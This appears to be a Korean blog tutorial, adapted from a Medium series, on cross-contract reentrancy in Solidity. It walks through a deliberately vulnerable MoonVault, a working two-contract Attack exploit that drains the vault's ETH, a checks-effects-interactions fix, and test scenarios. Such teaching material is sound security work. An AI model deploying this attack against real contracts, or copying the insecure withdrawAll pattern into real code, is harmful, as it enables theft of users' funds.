Cross-Contract-Reentrancy


https://medium.com/valixconsulting/solidity-smart-contract-security-by-example-05-cross-contract-reentrancy-30f29e2a01b9

번역 및 내용을 추가하여 작성하였습니다.

다음과 같은 능력을 키우고 싶어 시작하게 되었습니다.

  • Solidity
  • Typescript
  • Truffle ,Hardhat, Ethers.js, Web3.js
  • Test Script 작성 능력

Cross-Contract-Reentrancy은 일반적으로 여러 Contract가 동일한 상태 변수를 공유하고 일부 Contract가 해당 변수를 안전하지 않게 업데이트할 때 발생합니다. 이러한 유형의 Reentrancy는 발견하기 어려운 경우가 많기 때문에 복잡한 문제로 간주될 수 있습니다.

The Dependency

InsecureMoonVault Contract와 FixedMoonVault Contract에 필요한 abstract Contract와 dependencies 입니다.

IMoonToken Interface, MoonToken Contract가 포함됩니다.

pragma solidity 0.8.17;

abstract contract ReentrancyGuard {
    bool internal locked;

    modifier noReentrant() {
        require(!locked, "No re-entrancy");
        locked = true;
        _;
        locked = false;
    }
}

interface IMoonToken {
    function transferOwnership(address _newOwner) external;
    function transfer(address _to, uint256 _value) external returns (bool success);
    function transferFrom(address _from, address _to, uint256 _value) external returns (bool success);
    function balanceOf(address _owner) external view returns (uint256 balance);
    function approve(address _spender, uint256 _value) external returns (bool success);
    function allowance(address _owner, address _spender) external view returns (uint256 remaining);
    function mint(address _to, uint256 _value) external returns (bool success);
    function burnAccount(address _from) external returns (bool success);
}

contract MoonToken {
    uint256 private constant MAX_UINT256 = type(uint256).max;
    mapping (address => uint256) public balances;
    mapping (address => mapping (address => uint256)) public allowed;

    string public constant name = "MOON Token";
    string public constant symbol = "MOON";
    uint8 public constant decimals = 18;

    uint256 public totalSupply;
    address public owner;

    constructor() {
        owner = msg.sender;
    }

    modifier onlyOwner() {
        require(owner == msg.sender, "You are not the owner");
        _;
    }

    function transferOwnership(address _newOwner) external onlyOwner {
        owner = _newOwner;
    }

    function transfer(address _to, uint256 _value)
        external
        returns (bool success)
    {
        require(balances[msg.sender] >= _value);
        balances[msg.sender] -= _value;
        balances[_to] += _value;
        return true;
    }

    function transferFrom(
        address _from,
        address _to,
        uint256 _value
    ) external returns (bool success) {
        uint256 allowance_ = allowed[_from][msg.sender];
        require(balances[_from] >= _value && allowance_ >= _value);

        balances[_to] += _value;
        balances[_from] -= _value;

        if (allowance_ < MAX_UINT256) {
            allowed[_from][msg.sender] -= _value;
        }
        return true;
    }

    function balanceOf(address _owner)
        external
        view
        returns (uint256 balance)
    {
        return balances[_owner];
    }

    function approve(address _spender, uint256 _value)
        external
        returns (bool success)
    {
        allowed[msg.sender][_spender] = _value;
        return true;
    }

    function allowance(address _owner, address _spender)
        external
        view
        returns (uint256 remaining)
    {
        return allowed[_owner][_spender];
    }

    function mint(address _to, uint256 _value)
        external
        onlyOwner  // MoonVault must be the contract owner
        returns (bool success)
    {
        balances[_to] += _value;
        totalSupply += _value;
        return true;
    }

    function burnAccount(address _from)
        external
        onlyOwner  // MoonVault must be the contract owner
        returns (bool success)
    {
        uint256 amountToBurn = balances[_from];
        balances[_from] -= amountToBurn;
        totalSupply -= amountToBurn;
        return true;
    }
}
  • “ReentrancyGuard”에는 재진입 공격을 방지하는 데 사용되는 “noReentrant” modifier이 포함되어 있습니다.
    noReentrant를 적용하면 함수에 단 한 번의 진입만을 허용하는 간단한 modifier입니다. 재진입을 시도하면 require문에 의하여 트랜잭션이 되돌려집니다.
  • IMoonToken Interface는 함수의 프로토타입을 정의하여 “InseruceMoonVault” Contract가 “MoonToken” Contract와 상호 작용할 수 있도록 합니다.
  • 마지막으로 “MoonToken” Contract는 간단한 ERC-20 Token입니다. 사용자는 “MoonVault” Contract를 통해 Moon Token을 구매하고 판매할 수 있습니다. MOON은 ETH와 1대1로 패깅된 스테이블 코인입니다. 일정량의 ETH를 입금하면 같은 비율의 MOON을 받게됩니다.
  • 또한 사용자는 자신의 MOON(ERC20) 토큰을 다른 사용자나 스마트 컨트랙트에게 양도(transfer())하거나 자신의 MOON(ERC20) 토큰을 다른 Address가 양도(approve())할 수 있도록 승인할 수 있습니다.

The Vulnerability

  • MOON Token을 구매합니다.
    • insecureMoonVault.deposit()
  • MOON Token을 판매합니다.
    • insecureMoonVault.withdrawAll()
  • MOON Token을 이전합니다.
    • moonToken.transfer()
  • MOON Token의 이전할 수 있는 권한을 허용합니다.
    • moonToken.approve()
  • MOON Token의 잔액을 확인합니다.
    • insecureMoonVault.getUserBalance()
    • moonToken.balanceOf()
pragma solidity 0.8.17;

import "./Dependencies.sol";

// InsecureMoonVault must be the contract owner of the MoonToken
contract InsecureMoonVault is ReentrancyGuard {
    IMoonToken public immutable moonToken;

    constructor(IMoonToken _moonToken) {
        moonToken = _moonToken;
    }

    function deposit() external payable noReentrant {  // Apply the noReentrant modifier
        bool success = moonToken.mint(msg.sender, msg.value);
        require(success, "Failed to mint token");
    }

    function withdrawAll() external noReentrant {  // Apply the noReentrant modifier
        uint256 balance = getUserBalance(msg.sender);
        require(balance > 0, "Insufficient balance");

        (bool success, ) = msg.sender.call{value: balance}("");
        require(success, "Failed to send Ether");

        success = moonToken.burnAccount(msg.sender);
        require(success, "Failed to burn token");
    }

    function getBalance() external view returns (uint256) {
        return address(this).balance;
    }

    function getUserBalance(address _user) public view returns (uint256) {
        return moonToken.balanceOf(_user);
    }
}
  • “InsecureMoonVault” Contract는 deposit(), withdrawAll() 함수에 modifier을 적용하기 때문에, 두 함수 모두 재진입 공격으로 부터 안전합니다.
  • Cross-Contract-Reentrancy는 withdrawAll()에서 시작됩니다.

일반적으로 Cross-Contract-Reentrancy 공격의 원인은 여러 컨트랙트가 동일한 상태 변수를 상호 공유하고, 그 중 일부가 해당 변수를 안전하지 않게 업데이트하기 때문에 발생합니다.

withdrawAll() 함수는 출금자에게 이더를 다시 보내기 전에 출금자의 잔액을 업데이트 하지 않습니다.

  • success = moonToken.burnAccount(msg.sender); 해당 구문을 업데이트 하지 않습니다.

결과적으로 공격자는 “Attack[1]” Contract의 receive() 함수의 제어 흐름을 조작하여 잔액을 다른 Contract인 “Attack[2]”로 전송함으로써 Cross-Contract-Reentrancy 공격을 수행할 수 있습니다.

그 후 공격자는 “Attack[2]” Contract의 attackNext() 함수를 호출하여 다른 트랜잭션을 트리거하여 “InsecureMoonVault” Contract에서 ETH를 점진적으로 출금한 다음 Attack[2]의 잔액을 Attack[1] Contract로 이체할 수 있습니다.

이 과정을 반복하여 “InsecureMoonVault” Contract에 있는 모든 ETH를 빼냅니다.

The Attack

공격 시나리오

아래 코드는 InsecureMoonVault Contract를 공격할 수 있는 Contract입니다.

pragma solidity 0.8.17;

import "./Dependencies.sol";

interface IMoonVault {
    function deposit() external payable;
    function withdrawAll() external;
    function getUserBalance(address _user) external view returns (uint256);
}

contract Attack {
    IMoonToken public immutable moonToken;
    IMoonVault public immutable moonVault;
    Attack public attackPeer;

    constructor(IMoonToken _moonToken, IMoonVault _insecureMoonVault) {
        moonToken = _moonToken;
        moonVault = _insecureMoonVault;
    }

    function setAttackPeer(Attack _attackPeer) external {
        attackPeer = _attackPeer;
    }
    
    receive() external payable {
        if (address(moonVault).balance >= 1 ether) {
            moonToken.transfer(
                address(attackPeer), 
                moonVault.getUserBalance(address(this))
            );
        }
    }

    function attackInit() external payable {
        require(msg.value == 1 ether, "Require 1 Ether to attack");
        moonVault.deposit{value: 1 ether}();
        moonVault.withdrawAll();
    }
    
    function attackNext() external {
        moonVault.withdrawAll();
    }

    function getBalance() external view returns (uint256) {
        return address(this).balance;
    }
}

InsecureEtherVault Contract를 공격하려면 공격자는 2개의 Attack Contract를 배포한 후 다음 작업을 수행해야 합니다.

  1. Call: 공격자는 attack1.attackInit()을 호출하며 1 ETH를 공급하고 출금합니다.
  2. Call: 공격자는 attack2.attackNext()을 호출하며 1 ETH를 출금합니다.
  3. Alternately Call: attack1.attackNext()attack2.attackNext()을 사용하여 InsecureMoonVault Contract에 있는 ETH를 모두 출금합니다.

첨부된 이미지처럼 공격자는 두 개의 Attack Contract에 번갈아 가며 별도의 Transaction을 생성하여 “InsecureMoonVault” Contract에 있는 ETH를 모두 출금했습니다.

The Solutions

Solution

checks-effects-interactions pattern을 적용하면 재진입 공격을 막을 수 있습니다.

withdrawAll()함수를 수정하였습니다. 출금자에게 ETH를 다시 보내기 전에 출금자의 잔액이 업데이트 되도록하여 Cross-Contract-Reentrancy 공격을 방지합니다.

pragma solidity 0.8.17;

import "./Dependencies.sol";

// FixedMoonVault must be the contract owner of the MoonToken
contract FixedMoonVault is ReentrancyGuard {
    IMoonToken public immutable moonToken;

    constructor(IMoonToken _moonToken) {
        moonToken = _moonToken;
    }

    function deposit() external payable noReentrant {  // Apply the noReentrant modifier
        bool success = moonToken.mint(msg.sender, msg.value);
        require(success, "Failed to mint token");
    }

    function withdrawAll() external noReentrant {  // Apply the noReentrant modifier
        uint256 balance = getUserBalance(msg.sender);
        require(balance > 0, "Insufficient balance");  // Check

        // FIX: Apply checks-effects-interactions pattern
        bool success = moonToken.burnAccount(msg.sender);  // Effect (call to trusted external contract)
        require(success, "Failed to burn token");

        (success, ) = msg.sender.call{value: balance}("");  // Interaction
        require(success, "Failed to send Ether");
    }

    function getBalance() external view returns (uint256) {
        return address(this).balance;
    }

    function getUserBalance(address _user) public view returns (uint256) {
        return moonToken.balanceOf(_user);
    }
}

Test


Source code link

InsecureMoonVault Contract

테스트 시나리오

  • Constructor
    • InsecureMoonVault 컨트랙트는 생성자로 MoonToken 컨트랙트의 주소를 갖는다.
  • 입금
    • 사용자가 ETH 입금 시 MoonToken이 1대1 비율로 발행된다.
  • 출금
    • 사용자는 출금시 ETH를 돌려받으며 MoonToken은 소각된다.
    • 사용자가 출금 시 잔고가 없으면 revert된다.

FixedMoonVault Contract

테스트 시나리오

  • Constructor
    • FixedMoonVault 컨트랙트는 생성자로 MoonToken 컨트랙트의 주소를 갖는다.
  • 입금
    • 사용자가 ETH 입금 시 MoonToken이 1대1 비율로 발행된다.
  • 출금
    • 사용자는 출금시 ETH를 돌려받으며 MoonToken은 소각된다.
    • 사용자가 출금 시 잔고가 없으면 revert된다.

MoonToken Contract

  • Constructor
    • Contract의 Owner를 확인할 수 있다.
  • transferOwnership
    • Owner는 소유권을 변경할 수 있다.
    • Owner가 아니면 소유권을 변경할 수 없다.
  • transfer
    • to 주소로 토큰을 전송할 수 있다.
    • 보내려는 Token의 개수보다 적으면 revert된다.
  • transferFrom
    • 다른 사용자에게 토큰을 전송할 권한을 부여하면 토큰을 전송할 수 있다.
    • 허용되지 않은 사용자가 토큰을 전송하려고 하면 거부된다.
    • 허용된 사용자가 허용된 한도를 초과하여 토큰을 전송하려하면 거부된다.
  • balanceOf
    • 사용자가 가진 토큰의 개수를 확인할 수 있다.
  • approve
    • 사용자가 특정 주소에 특정 양의 토큰을 사용할 수 있도록 허용할 수 있다.
  • mint
    • Owner가 토큰을 발행할 수 있다.
    • 비 Owner는 토큰을 발행할 수 없다.
    • mint 함수를 호출 하면 총 공급량이 업데이트된다.
  • burnAccount
    • Owner가 특정 주소의 토큰을 소각할 수 있다.
    • 비 Owner는 특정 수조의 토큰을 소각할 수 없다.
    • 토큰을 소각하면 총 공급량이 업데이트 된다.

Attack Contract

테스트 시나리오

  • 공격 준비
    • Attack 컨트랙트에는 MoonToken 컨트랙트와 InsecureMoonVault 컨트랙트가 등록되어 있다.
    • Attack[1] 컨트랙트에는 Attack[2] 컨트랙트가 등록되어 있다.
  • 공격
    • 공격자는 1 ETH가 없으면 공격할 수 없다. (msg.value < 1)
    • 공격자는 공격시 1 ETH를 가지고 공격할 수 있다. (918ms)
  • 공격 실패
    • 공격자는 InsecureMoonVault 컨트랙트에 했던 공격을 FixedMoonVault 컨트랙트에 시도하면 실패한다. (63ms)

Test Code Coverage


profile
좋은 개발자가 되고싶은

0개의 댓글